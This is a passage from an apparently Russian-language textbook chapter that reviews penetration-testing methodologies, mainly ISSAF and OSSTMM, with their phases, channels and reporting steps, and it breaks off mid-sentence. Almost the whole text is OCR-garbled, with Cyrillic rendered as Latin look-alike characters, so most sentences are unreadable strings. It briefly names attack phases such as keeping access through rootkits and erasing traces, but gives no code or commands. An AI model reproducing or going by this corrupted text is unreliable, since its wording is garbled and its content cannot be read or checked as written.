c60p TPYIIIBI YYACTHUKOB ay/IUTa, PacipeaeseHne Poseii U moAroTOBKa Paciin-
CaHWS TECTOB;

IIPOBE/IEHNE TECTOB;
aHaJIN3 U ITPOBEPKA T10JYUYEHHBIX Pe3yJIbTaToB;

IIOATOTOBKA OTYETAQ,

repeaada oT4eTa KJINEHTY.



MeToponorus

Cy1recTByeT MHOXKECTBO METOMK TIPOBEICHIST TECTOB HA TPOHNKHOBEHME. XOTS NX
3HaHue, 6e3yCI0BHO, He TapAaHTUPYET BaM YCIIENTHOTO B3jioMa 1ejeBoii IC, ogHako
KpaiiHe [OBbIIIAET IAHChI Ha 9T0. K TOMYy JKe, cie1yst METOMUKE, Bbl Oy/I€Te YBEPEHBI,
4TO CHEIAIM BCE BO3MOKHOE [JIsI KAUeCTBEHHOIO IIPOBeeHus paboT 1 BaM He Oyaer
CTBIJTHO TIPE/ICTABUTDH OTUET 3aKA3UUKY.

K coskanenuio, BO MHOTMX CJyYasix ayJuThl GE30IIACHOCTH IIPOBOAATCS HA CKOPYIO
PYKY, 6€3 JOIKHON MOATOTOBKY ¥ NPUMEHEHNsT HeOOXOMMOI METOAUKH, YTO CHU-
5KaeT KaueCTBO BBIIOJIHSAEMOIl paboThl U, CIe0BaTeNbHO, noaBepraer yrpose VC
3aKazunka. TecTbl Ha IPOHMKHOBEHME IOJKHBI IIPOU3BOJUTHCS C IIPUMEHEHUEM
9 HEKTUBHON METOAUKH, KOTOPYIO MPU HEOOXOAUMOCTH BBl MOKETE U3MEHATH
1 NOJCTPanBaTh 10/ TPeOOBaHMS 3aKa3UNKa, UCXOA U3 CHe(BUKN BBINOJTHIEMO
paboThl.

B nanHOM paspesie OyeT mpeacTaBieH KPaTKUuil 0630p HECKOJIBKUX MOIYJISIPHBIX
Metonk. He moskaseliTe BpeMeHHU Ha UX MOAPOOHOE M3yUeHne — 9TO 3HAYUTETHHO
ob6sterauT Banry paboTy U TO3BOJINUT BRITIOTHATH ee erie Gosiee TPohecCHOHATBHO.

CraHpapT oueHkn 6e3onacHoCTur
MH(MOPMALIMOHHOW CUCTEMBI

JlaHHbI cTaHAapT PazpabdaThIBAETCS U MOJEPKUBACTCS TPYIIOi 6€30aCHOCTH
OTKPBITHIX HHGopMaloHHbix cucteM (OISSG). Cranmapt omneHKH Ge30MaCHOCTH
unopmanronnoii cucreMbl (ISSAF) npexcrasisier co6oii MOCTOSTHHO PEIEH3H-
PYEMBIl IOKYMEHT, Cofiep:Kaniuii “HPOPMAIUIO O TOM, KaK TTPOBOIUTH TECTHI Ha
nponnknosenue. CusbHolt croponoit ISSAF aBisiercst mokas cBga3u Mexky pas-
JINYHBIMU 32/I1a9aMU TTPOEKTA U MHCTPYMEHTAMM JIJIS UX J0CTIsKeHns. HecmoTps Ha
TO, UTO Pa3pabOTUYNKU HE OTAAIOT TPEATIOUTEHIST TOMY UJIH HHOMY TIPOTPAMMHOMY
obecrieueH o, B cBoel paboTe BBl Tak MU WHaUe GyeTe MCIoIb30BaTh OOJIBIIYO
JaCTh MPEJIOKEHHOTO M.
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MepBas ¢aza — nnaHMpOBaHME U NOArOTOBKa

B 2101l yacTu OMMCHIBAIOTCA HIATH, KOTOPble HEOOXOAUMO C/Ie/aTh epe]] Hava-
JIOM PaboT: 0OMEH BBOAHBIMU JaHHBIMHU, IJIAHUPOBAHUE PECYPCOB U IIOATOTOBKA.
B nepByio ouepenb BaM HEOOXOAUMO 3aKJIIOYUTh JOTOBOP O BBIOJHEHUN paboT,
OH J0JIKeH ObITh ImoAnucan obeumMu croponaMu. JanHoe cornaienue Oyaer sB-
JISTHCSL OCHOBOIL /i1l [IpoBeAeHus HaibHeimux pabor. Takske BaM HEOOXOAMMO
CTLTAHWPOBATD AThl, BPEMs TTPOBEICHUS TECTOB, TEXHUUYECKUE IeTaIN U PyTHUe
HEOOXOIUMBbIE YCIOBUSL. DTOT ITAIl, IOMUMO IIPOYETO, BKIOUAET B ce0s1 yTOUHEHNE
CIIMCKA KOHTAKTHBIX IIEPCOH ¢ 06EUX CTOPOH, OPraHU3aI[UI0 COOPaHUS 1JIsT 06CY K-
JleHUsT HeOOXOMMMBIX JeTajieil mpoBeaeHursa OyAyuux paboT, corlacoBatie paHee
HaMEUeHHOTO TIJIaHa.

K coskaseHuto, Ha JaHHBIT MOMEHT 3Ta (pasa He oNucaHa HACTOJIBKO TOAPOOHO,
HACKOJIBKO HaM X0TeJioch Obl. OHAKO YUUTHIBasL, YTO CBEKUE BEPCUM JaHHOTO
(peitMBOpKa He BBIXOMIIN TOCTATOYHO TaBHO, BPSI/L JIU MBI YBUAUM UX B OmKaii-
1Iee BPeMsI.

Btopas daza — ayaut UC

HecmoTpst Ha 10BOJIbHO HEMH(MOPMATUBHYIO TIEPBYTO YacTh, BTOpas yacTb ISSAF
mpopaboTaHa I0CTATOYHO XOPOIIO. B Hell MOAPOGHO OMTHUCHIBAIOTCS TITATH, KOTOPBIE
HEeO0OXOIMMO CIeTaTh 75T Ka4eCTBEHHOTO TPoBeeH s ayanTa. OMHO 13 CUTHHBIX
ee CTOPOH ABJISIETCS YPOBEHD JAeTanusanuu. TyT 1npejcTaBjienbl He TOJAbKO caMu
MHCTPYMEHTBI [IJIS1 BBITTOJTHEHUS TECTOB, HO U IIPUMEPbI UX MCIoJb3oBaHud. Jaske
€CJIM BBl He 3HAKOMBI co creludukoii Ub-ayaura, B HEKOTOPBIX CJy4asiX Bbl CMO-
JKeTe [IPOBeCTU BIIOJIHE YauHyIO CEPUIO TECTOB, UCII0/Ib3Ys TOIbKO IIpUBeeHIbIe
MIPUMEPHI.

[TommMmo onmcaHus caMUX MPOTPAMM, TPUMEPOB MX 3AMYCKA U MCIIOTb30BAHMUSI,
B ISSAF takske TpakTyioTCs MOJy4eHHbIE PE3YJIBTAThI, YTO, HECOMHEHHO, PACITUPUT
Ballli 3HAHUS JlaKe TI0CJIe TPOCTOTO MPOUYTEHUA. ITO HE CaMbIil JTydIlnii BAPUAHT
TIPOBENIEHNS Ay/INTA, HO /TSI TEX, KTO TOMBKO 3HAKOMUTCS ¢ 06macThio VB, om BroHe
O/IONIeT.

O6paTuTe BHUMaHKE Ha TO, YTO B JAHHOM (DPeiiMBOPKE /10 KOHI[Aa HE PACKPBIBACTCS
BeCh MOTEHIIMAJ TeX WJIM UHBIX MHCTPYMEHTOB. Tak:ke 371eChb He ONMMUCAHbI BCE BO3-
MO>KHbBIEC WHTEPIPETAINH TIOJYYEHHBIX JJAHHBIX — ATO W MOHSATHO, Be/lb UX OU€HD
MHOTO, /Ia ¥ aBTOPHI HE TIPeCsIe/IOBATH TaKO TIeJIH.

B npezncrasiennom ISSAF dpeiimBopke Kask/Iblii 9TaIl ONMUCHIBAETCS KAK CJIOM, HUXKE
IPUBOIUTCS KPATKOE OMUCAHNE KAJKIOTO U3 HUX:

e c6op nHpopmaimu (KCIIOIb30BaHIe HHTEPHETA IS IIOMCKA BCEH JOCTYITHON WH-
hopmariu o 1111 ¢ TOMOTIBIO KaK TEXHUYECKUX, TAK M HETEXHUUECKUX METOJIOB);

® xRapTupoBaHue ceTu (MaeHTUdUKAINA Bcex cucTeM u pecypcos TieseBoit MC);
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naeHTU(PUKANSI YI3BUMOCTHU (JIeICTBUS, BBITIOTHIEMbIE CIIEIIUAJINCTOM JIJIs
obHapyskeHus ysispumocrteii B esesoii 11C);

IPOHUKHOBeHHUE (MOJTydeHIe HECAHKIIMOHUPOBAHHOTO JIOCTYTIA TTyTeM 06X0/1a
METO/IOB 3AIIITHI U TIOIBITKA TTOJyYeHHsT KAK MOJKHO O0Jiee BBICOKUX TTPUBHJIET Ml
B cHCTEME);

Tosrydenue J10CTylla U IMOBbIIICHNE HpI/IBI/I]IQFI/If/,I (HOHBITKa IIOJIYyINUTDH 6oJiee BbI-
COKHME ITPUBUJIETUN TTIOCJI€ YCIIENTHOTO B3/JI0OMa CUCTEMbBI NJIN CETU 3KCH€pTOM);

MPOIOJIKEHNE TIPOHUKHOBEHUS (TI0JIydeHne TONOJTHUTENbHON nH(popMaIun
0 Tpoleccax B IMOJKOHTPOJIbHOI CUCTEME C TIJIbIO €€ JAJbHEHIIero uCIoab30-
BaHUA);

KOMITPOMETAINS YAAJEHHBIX 0JIb30BaTeNell/caliToB (MCI0Ib30BaHIe JJOBEPH-
TEJTHHBIX OTHOIIEHWI W CBSA3EH MEKIY YIAJCHHBIMU MOJIb30BATENSIMUA W CUCTE-
MaMU TPepUsITus );

noJijiepskanue octyna (MCroJb30BaHue CKPBITBIX KAHAJIOB U PYTKUTOB JIJIF CO-
KPBITUST IPUCYTCTBUS CIIEIMAINCTA B CHCTEME UM 0O€CTIeYeH ST TIOCTOSTHHOTO
JIOCTYIIa K CKOMIIDOMETUPOBAHHOMY pecypcey);

COKPBITHE CJIeI0B (yCTpaHeHNe BceX MPI3HAKOB B3JIOMa ITyTeM CKPBITHS (haiiios,
OUKCTKH KYPHAIOB, 00X0/1a TPOBEPOK IEJIOCTHOCTH U aHTUBUPYCHOTO [10).

Ykazannble aTaIbl B3JIoMa TIPUMEHAIOTCA 110 OTHOMIEHUIO K CJACAYIOMINUM TUIIaM pe-
CYPCOB: CE€TU, XOCThI, ITPUJTOKEHN 1N 6a3bl JlaHHbIX.

CeTeBas 6e30MacHOCTb

ISSAF ¢ pasnuuHoOii cTeneHbio AeTaau3ainui MpeaoCcTaBaseT moapobHyio nHbOop-
MAIUIO O PA3JIMYHBIX TUIIAX OIlEHKU Oe30IIaCHOCTH CETEBBIX yCTpoiicTB. Bo (hpeiim-
BOPKeE IpeJICTaBICHA CIIPaBOYHAs MHMOPMAINS IO PA3TUIHBIM TeMaM, TPUMEPbI
CTaH/IAPTHBIX KOH(MUTYPAIN, CITICOK NCTIOJIBb3YEMBIX CPE/ICTB JJIsT IPOBEIEHUST aTak
U OJKUIaeMble Pe3yJIbTaThl. YkasaHnHast uHhopMaryst OyeT nHTepecHa He TOJbKO
HOBMYKAM, HO W CIIEIIHAIUCTaM ¢ OMBITOM paboTsl B chepe MB. Huske mpuBeeHs!
HEKOTOPBIE TeMbI, OCBell[aeMble JIaHHBIM (PPEHMBOPKOM:

B3JIOM TIapoJIeH;

OlleHKa 6e30IaCHOCTH KOMMYTaTOPA;

OIleHKA 0E30IIACHOCTH MapIIPyTU3aTOPA;

orenka Oesonacuoctu daitepsoia;

olleHKa 6e30IaCHOCTU CUCTeMbI 0OHapysKeHus: BTop:kenuii (IDS);
OlleHKa 6e30MaCHOCTU BUPTYaibHOI yactHO cetn (VPN);
OlleHKa 6E30IIAaCHOCTH aHTUBUPYCHON CHCTEMBI;

6€e30macHOCTh ceTH XpaHenus ganubix (SAN);

oleHKa 6e3011acHOCTH OeCIPOBOAHON JIOKAIbHON CeTH;

6e3011acHOCTD MOJIb30BaTe el MHTEpPHETa;
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e OesomacHoctb AS 400;

e OGesomacHocTb Lotus Notes.

He crout myratbest 60s1b11oro obbeMa nHGOpMAI, HeOOXOAUMOCTH B JTOCKO-
HaJIbHOM IIPpOYTEHUUN BCETO CTaHAapTa HET. CaMOG rJlaBHO€ — 3HaTb, YTO B HEM
COMEPIKUTCS, U TOTA, CTOJKHYBIINCH BO BPEMsI [IPOBEIEHUS TECTOB ¢ HE3HAKOMOI
BaM CHUCTEMOIL, BbI OyzieTe MPeACTaBIATh, T HOJIyYUTh 0 Heill nHbopMaimo. CTouT
elle pa3 YIOMSHYTb, YTO, K COKaJEHMIO, JaHHBIA CTaHAAPT AaBHO He OOHOBJISICS
U He TIOKPBIBAET BECH CIIEKTP cyuiecTByiomero 10, HO 10 CUX IIOP COAEPAKUT MHOTO
AKTyaJTbHON MH(MOPMAIUH.

Bbe3onacHOCTb XOCTOB

B ISSAF ommcanbl BOIpOCHI, Kacarouuecs: 6€30MaCHOCTU CaMbIX MOTYJISTPHBIX
orepaImoHHbIX cucteM, cpean koTopbix Unix/Linux, Windows, Novell Netware.
Ipenocrasiena u wHbopManus o Beb-cepBepax.

Ob6si3atesbHO 06paTHTE BHUMAHKWE HA Pa3jieli, OCBSIIEHHBIN BeO-cepBepaM. B co-
BPEMEHHOM MUpPE Be6-CepPBEPBI UCTIOIB3YIOTCSA He TOJIBKO JIJIS PA3MEIEHUs CTPAHMUIL
B MHTEPHETE, celiyac MHOTHE MTPOU3BOIUTENN UCIIOIB3YIOT UX JIJIS CO3/1aHus rpacu-
YecKuX MHTep(deiicoB yrpaBieHns yCTPOCTBAMU.

Tax KaKk cTaHAAPT JIaBHO He OOHOBJISJICS, HEKOTOPBIE OMUCAHHBIEC TUITBI OTIEpPalii-
OHHBIX CHCTEM JIaBHO HE MCIIOJb3YIOTCs, a caMble CBEKUE PaspabOTKU B HETO He
BKJIIOUeHbl. OJTHAKO YIIOMSIHYTh O HEM BCE Ke He0OXOAUMO, BE/[b MHOTHE KPYITHbBIE
MPEITPUSTHS B IEJIIX 9KOHOMUH TIPOIOJIKAIOT NCTIOTb30BaTh yerapesiee 110 (Tax,
HEKOTOPbIe GaHKOMAThI TIPO0JIKA0T paboTtars o yipasieHueM Windows NT).

Be3onacHOCTb NPUIOXEHWI

Ha camom sieste pa3nesinTh TeCTUPOBAHIE MPUIOKEHIH 1 6a3 TaHHBIX JOCTATOTHO
CJIOKHO. B Haly [HM MHOTHE IPUJIOKEHHUS aKTHUBHO MCIOJb3YIOT Gashl JaHHBIX
TOTO WJIM MHOTO TUTIA, TaK YTO, OJy4Yast K HIM JOCTYII, BBI TIOJyYaeTe U TOCTYI
K 6aze manHbIX. B pamMkax ¢hpeiiMBOpKa paccMaTpUBAIOTCS CIIE/YIONIIE THITBI ATaK:
aTaky Ha BeG-npuiokenus, SQL-UHbEKINHU, ayIUT UCXO[HOTO KOJIa, ayAuT Ou-
HapHBIX (hailyioB.

Be3onacHocTb 6a3 AaHHbIX

B nannom paszesie onmcanst crieu)MIecKue MeTO/bL, IIPUMEHUMbIE MIMEHHO K OazaM
JIAHHBIX: YIaJeHHbIN B3JIOM 0a3 JaHHbIX, MAHUIIYJIALUS [IPOLECCAMU, IOJHBII ayauT
0a3 JJaHHbIX.

CoumanbHas nHXxeHepus

B nannom pasmesie onmmchbIBaIOTCS METO/IBI COIMAMbHON nHkeHepun. Bee onmcan-
HbI€ METO/[bI JJOBOJILHO CTapble, HO K GOJIBIIOMY COKAIEHUIO, YPOBEHD TPAMOTHOCTH
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MTOJIb30BaTENIEel He BbIPOC CJIMOIKOM 3HAYUTEJ/IbHO, a CIIENNAJINCTDI 110 WD ne YAEAIOT
9TOMY BOIIPOCY JOJIZKHOTO BHUMaHUSI. B cBs3u ¢ aTum IIPAKTUYE€CKU BCE OIIMCAHHOE
MOJKHO YCIICIITHO ITPUMEHATDH U B HAIII€ BpEM.

TpeTbsl (pa3a — OTUETHOCTb, U3baBieHne
OT CnegoB NpebbiBaHus

B manHoM paszesne ommcanbl HeOOXOAUMBbIE LIArH, KOTOPBIE CIEAYET BBITOIHUTD 110
sasepmennn ayauta MC. OHKM BKIIOYAIOT MOATOTOBKY W Mepefavy JaHHBIX JIUIAM,
yKa3aHHBIM Ha IIEPBOM IIIare, a TAKAkKe BONPOCHI KOH(MHUAECHINAIBHOCTH TTOJYYEHHBIX
JaHHBIX. B OTHOIIEHMN 5TOTO pas/iea ceayeT CKa3aTh, YTO OH TaKKe HEJO0CTATOYHO
HOAPOGEH.

Otyet

Jlanubrit hpeiiMBOPK OMTUCHIBAET /[BA BU/IA OTYETOB — YCTHBIN U MUChbMeHHBIN. [lep-
BBIIl CTOUT MCIIOJIb30BATDh B CJydae HAXOKAEHUS KPUTUUECKOM YSI3BUMOCTH, KOTO-
pas, Ha Ball B3IJIs, JOJUKHA OBITh yeTpaHeHa HeMemieHHo. VH(OpMALuIo 0 TaK1X
cilyyasix Takke HeoOXOAMMO BHECTU B (DMHAIBHYIO BEPCUIO TUCHMEHHOIO OTYETA.

ITo MueHNTO Pa3paboOTYNKOB, (PUHATBHLIA OTYET TOJKEH COMEPKATD CAEAYIONIYTO
nH(GOPMAIIHIO:

JaHHble 00 OPraHU3alMOHHBIX MEPOIIPUSTHUSIX;
eI IPOBeeHrs padoT;

ucnosbzyemoe 110;

HCTIOJIb3YEMbIE DKCILIONTDI;

AaTbl 1 BpEMS TECTOB;

BC€ MMOJIYYCHHDBIEC TAHHDIE;

CIITMCOK HafIlIeHHbIX yHSBI/IMOCTeﬁ;

PEKOMeH/Ialu 110 yCTPaHEeHUIO Hali/IeHHbIX YSI3BUMOCTeH, paHKMpOBaHHbIE B 110-
PAAKe IPUOPUTETHOCTH.

DuHaTHHBIN OTYET PEKOMEHIYETCSI HE TIEPETPyRaTh OTPOMHBIM KOJTMUECTBOM JIaH-
upix. He BkioualiTe Bce B OCHOBHOM JJOKYMEHT, BBIHECUTE YTO-TO B IIPUJIOKEHUE.
Tak BbI IPEIOCTABUTE BCIO HEOOXOANMYT0 HHMDOPMATINIO, 2 PE3yJIbTaT Balieil paboTh
GyJIeT BBITJISI/IETh HAMHOTO JIYYIIIE,

OuuncTka cnepos NpebbiBaHUs

B sToM paszeie uzeT peub 0 He0OXOAUMOCTH yAaMuTh Jto0bie (aitib 1 110, cospan-
uble Bamu B ucciiepyemoit IC. Eciin 1o KaKuM-TO IIPUYUHAM Bbl HE MOKETE C/IeJIATh
9TO CAMOCTOSATE/ILHO, B BAllIEM OTYETe HYKHO IPEACTaBUTh IIOAPOOHYIO MHCTPYKIIUIO
0 TOM, KaK 3TO MOTYT cfieJiaTh aMuHuCTpaTopsl C.
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PykoBOACTBO N0 METOAUKE TECTUPOBAHUS
6e30nacHOCTU C OTKPbITbIM UCXOAHbLIM KOZOM

PyKOBOZICTBO 110 METOJIMKE TECTUPOBAHUST HE30MACHOCTH ¢ OTKPBITBIM UCXOHBIM
kogoM (OSSTMM) — cranzapr, paspabGoTKOii KOTOPOIo 3aHMMAeTCs OpraHu3aLusl
ISECOM (Institute for Security and Open Methodologies), crapatommasicst mpu-
JIePAKUBATLCS CTPOTO HAYYHOTO 1Mo/1X01a. IlepByIo Bepcuio cTaHiapTa mpecTaBuiIn
B 2000 romy, 1 OH TI0/I/1IEP;KUBAETCS /IO CUX TIOP.

OSSTMM 6511 pazpaboTaH ¢ 1eIbI0 CO3JaHMs CTAHAAPTU3UPOBAHHOI METOAUKY
s ayauta VIC, koTopast Oblia 66 OTKPBITON U 00IENOCTYIIHON. DTOT CTaHAAPT
obecrieunBaeT HAGOP MHCTPYKIIMIT ¥ PEKOMEHIAIMIT JIs1 TPOBEEHUs] TECTOB Ha
[POHUKHOBEHUE, BKJIIOYAs! OLIEHKY YSA3BUMOCTEI, aHAIN3 PUCKOB, COOCTBEHHO TECThI
U [IPOBEPKY OE3011aCHOCTH IIPUIIOKEHHIA.

On oxBaTbIBaeT MIMPOKMIL AUATIA30H TECTOB Ha 6€3011aCHOCTb, CPEAN KOTOPBIX IIPO-
BEpPKa CETEBBIX YCTPOUCTB, (PU3MUECKOii 6e30IIaCHOCTH, METO/bI COLMATBHON MHKe-
HEpUH, TeCTUPOBaHKE MPUIOKEHUI, OI[eHKa 0e301MacHOCTH GECIIPOBOAHBIX CeTeil
U TeCTUPOBAHUE HA TIPOHUKHOBEHME.

Bousee Toro, OSSTMM mnpesiaraeT MeTOMKY, TO3BOJISIONLYTO OIIEHUTD (e THB-
HOCTb CHCTEMbBI 0€30MACHOCTH M POBECTH OI[EHKY COOTBETCTBUSI €e TPeOOBAHIIIM.
ITO 1OMOTaeT OpraHU3aIUsAM OLEHUTb YPOBEHb CBOEH 3alUIIEHHOCTU U IPUHSATD
MepbI [7Ts1 yarydtervst GezomacHocTu cBonx VIC 1 pHIoKeHn .

KaHanbl

Kanans B OSSTMM — ato kaTeropun nH(GOPMAITMOHHBIX PECYPCOB, KOTOPbIE MOTYT
OBITh TTOABEPKEHbI yrpodaM 1 aTakaM. B OSSTMM npezncraBieHbl ceMb KaHAJIOB,
npoBepsieMble ITpu poBeennu ayaura MC:

® KaHaJ CeTEeBOTO JIOCTYIA: MapIIpyTU3aTOPBl, KOMMYTATOPHI, (haiiepBosbr, VPN
U IpyTHe ceTeBbIe YCTPONCTBA;

®  KaHaJI IPUIIOKEHUIT: BEG-TIPUIOKEHUS, IPUIOKEHUST [Is1 MOOUIIbHBIX YCTPOUCTB,
TPUITOKEHST 7Tt PAGOYNX CTAaHIU U T. 1.;

e xanaj oneparuonnbix cucrem: Windows, Linux, Unix u T. 1.

® KaHaJ (pU3NIECKOl GEe30MACHOCTH: 3AHNUS, CePBEPHbIE 3aJIbl, MIKA(bI AJIs XpaHe-
HUST 000PYI0BaHUs U JpyTrue (husndeckue 0ObeKThI;

® KaHaJ COIMATbHON MHIKEHEPUU: TIPOBEPKA COTPYIHUKOB HA TTOABEPKEHHOCTD
¢durnHry, 06MaHy, MOIIEHHUYECTBY U T. JL.;

e kanau GecripoBoanoii casu: Wi-Fi, Bluetooth, NFC u T. 11.;
® KaHaJI TeJleKOMMYHUKaluii: Tesiechonnbie cucteMbl, VoI P, BujieokoHbepeHIn 1 T. 1.
ITpu poBeseHnn TeCTUPOBAaHUS Ha GE30I1aCHOCTh HEOOXOAUMO IIPOBEPATH BCE HTU

KaHaJIbl, '-ITO6I)I y6EIII/ITbCH, 4qTO BCe I/IH(i)OpMaLII/IOHHbIe PeCypcChbl OpraHmu3alum 3a-
IIUIIEHBI OT IMOTEHIIUAJIbHBIX YITPO3 1 aTaK.
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Moaynu

B OSSTMM ectb MO1yJId, KOTOPbIE IPEACTABJISAIOT COOOM MOBTOPSIONIMECS TIPOIIEC-
CBI B PAMKax TecTa Ha TPOHUKHOBEHNE. ITH MOYJIH UCTIOIB3YIOTCS BO BCEX KaHA/IaX
OSSTMM. Peanusaiiusi Kax/0ro MOJIYJIsI MOKET OBITh PAa3HOU B 3aBUCUMOCTU OT
IEJIEBO CUCTEMbBI MJN ceTh. Kask/Iblii 13 MOy el IipeiiaraeT CrielinaIn3npOBaHHbIe
HOAXOBI [ KaXKIOTro KaHa/ia, OJHAKO UX CBS3bIBAIOT OOIIUE IPUHIIAIIBL, KOTOPbIe
MBI PACCMOTPHUM HUKE.

MogroToBka

[TepBast paza OSSTMM — aT0 haza 03HAKOMJIEHUST ¥ TIOATOTOBKU, KOTOPAsl BKJIIOYA-
€T B Ce6ﬂ OorIpejie/JIeHHbIC ITaru. I_[eJIb 9TOr0 aTalla COCTOUT B TOM, I-ITO6BI IIO/ITOTOBUTD
OCHOBY JIJIs1 IPOBEIEHMsI TECTUPOBaHMsI 0€30IIaCHOCTH U Pa3paboTaTh IJIaH JeHCTBHIi,
KOTOPBIil OyIeT UCII0JIb30BAaThCs BO BPEMsI TECTUPOBAHMUS.

OnuchIBaIOTCS CIIeyIolNIne JIeUCTBUS:

e OnpeneneHue neseil TeCTUPOBaHUA. SIBJsIeTCS EPBLIM 1 BAKHBIM 11IaTOM B I1PO-
BesieHnn ayuTa. ey TeCTHPOBAHUS B 3aBUCUMOCTH OT TPeOOBAHUN 3aKa3urnKa
MOTYT MEHSITHCSI, HO OOBIYHO BKJIIOYAIOT B CeOsI TIOUCK ¥ OTIEHKY YSA3BUMOCTEN,
MPOBEPKY COOTBETCTBUS MOJUTHKAM U MPOIeAypaM 0€30MacHOCTH, a TaKKe
TECTUPOBAHUE CHOCOOHOCTU CUCTEMbI OOHAPYKMBATDH U MPEAOTBPAIIATH ATAKU.

e Brioop metoauku tectupoBannsa. OSSTMM npegocraBisieT MUPOKUI CIIEKTP
METOAMK TECTUPOBAHM OE30IaCHOCTH, a BBIOOD KOHKPETHO! 3aBUCUT OT LieJieil
TECTUPOBAHUS U TUTIA TECTUPYEMOI MH(HOPMATTMOHHON CHCTEMBI.

e TloAroroBka TeCTOBOW Cpebl. ITOT HTAN BKIIOYAET B ceOst CO3aHMe KON
paboueii cpejbl OpraHu3aum, KOTopast Oy/IeT UCIIOIb30BATHCS IJIsT IPOBEICHUST
TeCTUPOBaHUsT He30MacHOCTH. Bo BpeMst 3TOT0 aTama mpoucXOoauT CO3/IaHue BUP-
TyaJIbHBIX MaIlIMH, HACTPOHKA TECTOBBLIX YCTPOHCTB U T. /1.

e Ouenka puckos. [TozBossier MaeHTUDUIIMPOBATD TTOTEHIINATBHBIE YTPO3bI, KO-
TOPbIE MOTYT MOBJIHSATH HA IPOBe/IeHKE ayauTa u paboty tesesoii C. Briouaer
B ce0s1 paspaboTKy ILUIaHa AeiCTBUIL /I UX IIPeIOTBPALeHN.

L] HJIaHI/IPOBaH]/Ie TE€CTUPOBAHHUA. Bxuouaer B ceba oripeaeseHne CpoKOB 1 6IO,ZI-
JKeTa, paclipe/iejieHrne peCypCoB, HasHAY€HHUE OTBETCTBEHHDBIX 3a IMPOBEJAECHNE
TECTUPOBaHUA U OIIpe/ieJieHNEe TECTOBDIX CIIEHaPHEB.

e Co6op undopmanuu. Ha stom 1mare mpoBoautcst c6op MHMGOPMALIUU O 11€IeBOi
NC. O6b1un0 5T0 mogpasyMesaer cbop undopmanuu 06 nabpacTpyKType, 1c-
TOTE3YEMBIX TEXHOJOTUSX, TIOMUTHKAX GE30TTACHOCTH 1 T. .

C6op nHdopmaLmm

Bo Bpemst aToit dazel TecTUpPOBaHNS TPOUCXOAUT AKTUBHBIN MTONCK WHGMOPMAIUN
06 00beKTe, KOTOPBIN HYKHO TPOTECTUPOBATH. ITO MOXKET OBITH COOP MHBOPMAITH
0 KOMITBIOTEPHON CETH, OTIEPAITMOHHON CUCTEeME, TIPUJIOKEHUSIX, YSI3BUMOCTSIX U T. 1T,
Co6op uHpOpMALIUK BKJIIOYAET B cebsl MCIOIb30BaHNE OTKPBITBIX HCTOUHUKOB —



PykoBoACTBO N0 MeTOAMKE TECTUPOBAHUSA 6e3onacHocTH 25

CaﬁTOB, COITMAJTIbHBIX ceTeﬁ, Q)OpyMOB, — a TaKJXe CKaHMpOBaHME ITOPTOB 1 aHaJ/IN3
IIPOTOKOJIOB.

Ko BTopoii daze oTHOCATCS caenytonine AeicTBUS:

e Omnpenenenue 1eneii rectupoBanus. [{enbio MoeT ObITh, HATPUMED, TPOBEPKA
CTeTeH! 3aMUIIEHHOCTH CEeTH WJIN TIPUJIOKEHUS.

e Onpenenenne auana3oHa TecTHpoBanua. OroBapruBalOTCs CUCTEMBI U TIPUITOKE-
HUsI, KOTOPbIE GY/IyT TECTUPOBAThCA. [[ManazoH MoKeT BKJIOUaTh B ceOst Bee TIpu-
JIO’KEHUS U CeTH OPraHu3allii, a MOKET OTPAaHUYMBATLCS TOJBKO KOHKPETHBIMU
yyacTkaMy MH(HOPMaIlMOHHON CUCTEMBIL.

e Co6op nndopmanuu o Henesoii cucreme. Moxer BkiiouaTh B cebst cO0p OT-
KpBITOI WHpOPMAINU, TAKON Kak JjoMeHHble nMeHa, [P-agpeca, madopmarnsa
0 cepBepax, 6azax MaHHbIX, TPUTOKEHUSX U T. .

[ ] Orlpe/:[ene}me METOA0B aTaKH, KOTOpPbIE 6ley'T HCIIOJIb30BATbCA JIJIA B3JIOMa
CHUCTEMBDBI.

[ ] OI.[eHKa PHUCKOB. HEO6XOI[I/IMBII'/JI 9Tall, Ha KOTOPOM OII€HUBAIOTCA PUCKH, CBA-
3aHHbIE C TECTUPDOBAHNEM CHUCTEMBbI. ITOT TAl MMO3BOJISIET OIIpeJICJINTDb, KaKne
I[eﬁCTBI/IH MOT'YT IIOBJIEYD 3a o060l HekemaTeIbHbIe ImocJe/ICTBUA, HallpuUMeEP
TIOBPEK/ICHNE JaHHBIX NJIN HapyIIeHNE pa6OTbI CHUCTEMDI.

Ira asa 0co6EHHO BakHA [T TECTUPOBaHsI HE30TIACHOCTH, TIOCKOJIBKY OHA MO-
3BOJISIET TECTHPOBIIMKAM TTOJYYUTH [EHHYIO NHGOPMAIIIO, HEOOXOAUMYIO /IS
MOHUMaHMsT 0ObEKTa TECTUPOBAHMUS, & TAKIKE ISl MIACHTU(DUKAIUY YSI3BUMOCTEI
U TIOTEHIMAIBHBIX TOYEK BXO/Ia st ataku. OHa TakyKe MOJKET TOMOYb OIPE/IEHUTh,
KaKie MeTO/BI TeCTHpOoBaHms GesomacHocT O6yayT Hanbosee adhbekTuBHBIMY
B JlasibHeliieii pabore.

AHanu3 ysa3BuMocCTem

ITess Tpetbeit haspr B OSSTMM coctouT B TOM, 4TOOBI IPOBECTH TECTUPOBAHIE
CUCTEMBbI Ha HAJIMYKE YS3BUMOCTEH, OIIEHUTh UX KPUTUYHOCTD, TIPOBECTU ATAKW HA
cucTemy, OlleHUTD 3(PHEKTUBHOCTD 3AMIUTHI U ONPEACTUTH MEPBI 110 YIYUTIEHNTO
ypoBHst Oe3onacHocTu. Ha JaHHOM YPOBHE BBITIOJIHSIOTCS CJIEAYIOIINE [IATH:

o Wnenrudukanus ysassumocreii. [IpoBoanTcst MX Monuck B WHGOOPMAITMOHHOT
cHCcTeMe.

o Ouenka ys3Bumocreid. [IpoBouTCs € 11ebI0 OTPE/IeIUTh, KAKOH YPOBEHD YTPO3BI
OHMU TIPEJICTABJSIOT JIJIsI UHPOPMAITTMOHHOM CUCTEMBI.

o Kiaccudukanus yassumocteii. [[poBoanTCs M0 UX TUITY ¥ YPOBHIO YTPO3BI, UTO
MI03BOJIAET OTIPEIEINTD TIPUOPHUTETHI IS TIOCISYIONINX IIIATOB BO BPEMS ay/IITa
MH()OPMATTMOHHOI CUCTEMBI.

e IIpoBepka adpPpexkTuBHOCTH 3aUTHBIX Mep. OtieHka 9hHEKTUBHOCTHU 3AUTHBIX
Mep, KOTOPBIE OBLITH PEAT30BAHbI JIJIS TPEIOTBPAIIEHUS aTakK, MOKET BKJIIOUATh
